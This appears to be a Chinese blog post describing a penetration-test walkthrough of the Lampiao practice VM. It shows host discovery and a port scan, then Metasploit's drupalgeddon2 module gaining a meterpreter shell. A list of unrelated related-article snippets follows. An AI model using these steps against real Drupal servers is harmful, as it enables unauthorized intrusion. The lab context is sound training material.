黑盒渗透盲打lampiao
一、查找主机ip，通过Nmap扫描工具排查出我的靶机的IP 为.134
python tools.py ip -i 192.168.12.0 -h 254 -l 1
二、扫描其他端口。
1898
三、查看网站漏洞情况，典型的漏洞特征
Ac扫描漏洞情况，利用典型的漏洞。
四、开始getshell
1、启动MSF
msf6 > search SA-CORE-2018-002 #查询漏洞特征模块
可以看到，有可以利用的漏洞模块。直接开搞
2、使用对应的漏洞模块
msf6 > use exploit/unix/webapp/drupal_drupalgeddon2
3、查看并调整参数。调整参数
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > show options
五、拿下！
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > run
meterpreter > shellls
查看系统版本。
为所欲为~~~
相关文章：
黑盒渗透盲打lampiao
一、查找主机ip，通过Nmap扫描工具排查出我的靶机的IP 为.134 python tools.py ip -i 192.168.12.0 -h 254 -l 1 二、扫描其他端口。 1898 三、查看网站漏洞情况，典型的漏洞特征 Ac扫描漏洞情况，利用典型的漏洞。 四、开始getshell 1、启动M…...
笔记：VLAN及交换机处理详细教程（Tagged, UnTagged and Native VLANS Tutorial）
一、内容来源 本文是对下面这篇文章的总结，写的很全、很细致、干货满满，强力推荐： 《Tagged, UnTagged and Native VLANS Tutorial – A Quick Guide about What they Are?》 二、为什么引入VLAN？ 早期设备间通过集线器&#x…...
在字节跳动，造赛博古籍
“你在字节跳动哪个业务？”“古籍数字化。把《论语》《左传》《道德经》这些古籍变成电子版，让大家都能免费看。”没错，除了你熟悉的那些 App，字节跳动还在做一些小众而特别的事情，古籍数字化就是其中之一。在字节跳动…...
Android 12.0设置默认Launcher安装一款Launcher默认Launcher无效的解决方案
1.概述 在12.0的系统rom定制化过程中，在系统中当有多个Launcher的时候，这时候会要求设置默认Launcher,但是在最近的产品开发过程中，发现在设置完默认Launcher以后，在安装个Launcher的时候，会让原来设置的默认Launcher变为空了，就是在系统Settings中的默认应用中，launche…...
数据结构第16周 ：（ 希尔排序+ 堆排序 + 快速排序 ）
目录希尔排序堆排序快速排序希尔排序 【问题描述】给出一组数据，请用希尔排序将其按照从小到大的顺序排列好。 【输入形式】原始数据，以0作为输入的结束；第二行是增量的值，都只有3个。 【输出形式】每一趟增量排序后的结果 【…...
【C++】类和对象
1.面向过程和面向对象初步认识 我们知道，C语言是面向过程的，关注的就是问题解决的过程； C是面向过程和面向对象混编，因为C兼容了C语言，而面向对象关注的不再是问题解决的过程； 而是一件事情所关联的不同…...
Java缓存面试题——Redis应用
文章目录1、为什么要使用Redis做缓存？2、为什么Redis单线程模型效率也能那么高？3、Redis6.0为什么要引入多线程呢？4、Redis常见数据结构以及使用场景字符串（String）哈希(Hash)列表（list）集合&am…...
KMP算法详细理解
一、目的1.KMP应用场景：可以解决字符串匹配问题； 在一个串中查找是否出现过另一个串。2.KMP的经典思想就是:当出现字符串不匹配时，可以记录一部分之前已经匹配的文本内容，利用这些信息避免从头再去做匹配。3.KMP算法关键在于&…...
RabbitMQ单节点安装
在学习RabbitMQ之前，必须要把RabbitMQ的环境搭建起来，刚开始学习时，搭建单节点是入门RabbitMQ最方便、最快捷的方式，这篇文章就是介绍如何使用RabbitMQ压缩包的方式搭建一个单节点的RabbitMQ。 在实际项目中，服务器都…...
tomcat 服务的目录结构和tomcat的运行模式
目录 一、tomcat 服务的目录结构解析： 1、tomcat目录结构： bin目录： conf目录： lib目录： logs目录： temp目录： webapps目录： wokr目录： 二、tomcat服务的运行模…...
vector迭代器失效问题
一、迭代器： 迭代器的主要作用就是让算法能够不用关心底层数据结构，其底层实际就是一个指针，或者是对指针进行了封装，比如：vector的迭代器就是原生态指针T* 。因此迭代器失效，实际就是迭代器底层对应指针所…...
2023年排名前茅的十大饭店装修设计！
相信大家都是知道的，饭店装修设计其实是一门很深的学问，只有掌握这门学问才能够打造出来精美的空间，因此饭店装修必须要有专业餐饮设计公司的设计师进行设计。但是在国内饭店装修设计公司那么多，饭店老板要如何选择呢？…...
MFCCA多通道多说话人语音识别模型上线魔搭（ModelScope）
实验室研发的基于多帧跨通道注意力机制（MFCCA）的多说话人语音识别模型近日上线魔搭（ModelScope）社区，该模型在AliMeeting会议数据集上获得当前最优性能。欢迎大家下载。开发者可以基于此模型进一步利用ModelScope的微调…...
刷题记录:牛客NC25078[USACO 2007 Ope S]City Horizon
传送门:牛客 题目描述: Farmer John has taken his cows on a trip to the city! As the sun sets, the cows gaze at the city horizon and observe the beautiful silhouettes formed by the rectangular buildings. The entire horizon is represented by a number line …...
【Java|golang】 1238. 循环码排列---格雷编码
给你两个整数 n 和 start。你的任务是返回任意 (0,1,2,…,2^n-1) 的排列 p，并且满足： p[0] start p[i] 和 p[i1] 的二进制表示形式只有一位不同 p[0] 和 p[2^n -1] 的二进制表示形式也只有一位不同 示例 1： 输入：n 2, start …...
Python自动化测试框架封装和调用
封装与调用函数与参数化前言 面实现了参数的关联，那种只是记流水账的完成功能，不便于维护，也没什么可读性，接下来这篇可以把每一个动作写成一个函数，这样更方便了。参数化的思维只需记住一点：不要写死 登录…...
线程的执行
承接上文CPU原理简介程序的执行是由控制器发信号推动整个程序一步一步向前走，将数据存储在寄存器，从程序计数器中获取指令，比如先把3放到寄存器，再把5放到寄存器，再做一个加法，加法就是一个指令，…...
【视频】海康摄像头、NVR网络协议简介
1、软硬件整体架构 2、涉及的网络协议 3、协议简介 3.1 海康私有协议 设备发现SADP：进行设备的发现、激活、修改网络参数、忘记密码等； SDK：4200、系统平台的接入前端设备，协议不对外开放，但对外提供接口库； ISAPI：Intelligent Security API(智能安全API)，基于HTTP传输…...
【Spring的事务传播行为有哪些呢？Spring事务的隔离级别？讲下嵌套事务？】
如果你想寻求一份与后端相关的开发工作，那么关于Spring事务相关的面试题你就不能说不会并且不能不知道？ 人生如棋，我愿为卒，行动虽慢，可谁曾见我后退一步？ 一.Spring中声明事务的方式 1.1 编程式事务 编程…...
其实一点不难学会这三步一定让你学会制作一个『3D建模』大屏
上次已经教过大家怎样制作一个简单的2D数据可视化大屏~那有一些朋友们就会说那些炫酷的3D可视化大屏是怎样制作的呢？这不就来了，今天就教大家怎样用山海鲸可视化软件制作一个带3D建模的可视化大屏，并且最重要的是无需会特别复杂的3D建模知识。…...
)
2026 年1月 13 日-KB5074109（OS内部版本 26200.7623 和 26100.7623)
🔥个人主页：杨利杰YJlio❄️个人专栏：《Sysinternals实战教程》《Windows PowerShell 实战》《WINDOWS教程》《IOS教程》《微信助手》《锤子助手》 《Python》 《Kali Linux》《那些年未解决的Windows疑难杂症》🌟 让复杂的事情更…...
d3d8to9：Direct3D 8到9的API转换解决方案及技术实现
d3d8to9：Direct3D 8到9的API转换解决方案及技术实现 【免费下载链接】d3d8to9 A D3D8 pseudo-driver which converts API calls and bytecode shaders to equivalent D3D9 ones. 项目地址: https://gitcode.com/gh_mirrors/d3/d3d8to9 诊断D3D8游戏兼容性问题…...
JVM排查工具单
jstack是jdk自带的线程堆栈分析工具，使用该命令可以查看或导出 Java 应用程序中线程堆栈信息。线程快照是当前虚拟机内每一条线程上在执行的方法堆栈的集合，生成线程快照的主要目的是定位线程出现长时间停顿的原因，如线程间死锁、死循环、 请…...
AI辅助开发：让Kimi和DeepSeek帮你设计与优化用户注册交互逻辑
AI辅助开发：让Kimi和DeepSeek帮你设计与优化用户注册交互逻辑 最近在开发一个需要用户注册功能的项目时，我发现设计一个健壮且用户友好的注册流程其实有很多细节需要考虑。幸运的是，通过InsCode(快马)平台集成的AI助手，整个开发过…...
多年研究图像增强算法，包括但不限于：retinex，gamma，clahe，滤波算法。如果有需要此方面的需要，可以找我哦，理论算法打包带走
多年研究图像增强算法，包括但不限于：retinex，gamma，clahe，滤波算法。如果有需要此方面的需要，可以找我哦，理论算法打包带走...
打卡信奥刷题（3066）用C++实现信奥题 P6877 [JOI 2020 Final] 只不过是长的领带 / Just Long Neckties
P6877 [JOI 2020 Final] 只不过是长的领带 / Just Long Neckties 题目描述 JOI 公司发明了一种领带，一共有 N1N1N1 条领带，编号为 111 到 N1N1N1，第 iii 条领带的长度为 AiA_iAi。 JOI 公司开了一个派对，派对中有 NNN 名员工…...
从电机到USB：一文搞懂嵌入式里的感性负载、容性负载与阻抗匹配（附功率因数校正实例）
从电机到USB：一文搞懂嵌入式里的感性负载、容性负载与阻抗匹配（附功率因数校正实例） 在嵌入式系统设计中，工程师常常需要同时面对两种看似截然不同的挑战：大功率电机驱动的强电控制和高速数字通信的弱电信号处理。当电…...
OneDrive彻底卸载指南：从残留清理到系统优化的完整方案
OneDrive彻底卸载指南：从残留清理到系统优化的完整方案 【免费下载链接】OneDrive-Uninstaller Batch script to completely uninstall OneDrive in Windows 10 项目地址: https://gitcode.com/gh_mirrors/on/OneDrive-Uninstaller 一、问题诊断：…...
SAP项目顾问必看：CJ02/CJ20N用户状态报错全解析（附REL联动设置技巧）
SAP项目顾问进阶指南：CJ02/CJ20N用户状态报错深度解析与REL联动实战 在SAP项目实施过程中，WBS（工作分解结构）元素的状态管理一直是项目模块顾问的核心工作之一。特别是当项目进入执行阶段，CJ02/CJ20N事务码中频繁出现的…...
Path of Building终极指南：免费离线Build规划工具让流放之路角色构建变简单
Path of Building终极指南：免费离线Build规划工具让流放之路角色构建变简单 【免费下载链接】PathOfBuilding Offline build planner for Path of Exile. 项目地址: https://gitcode.com/GitHub_Trending/pa/PathOfBuilding 你知道吗？在《流放之路…...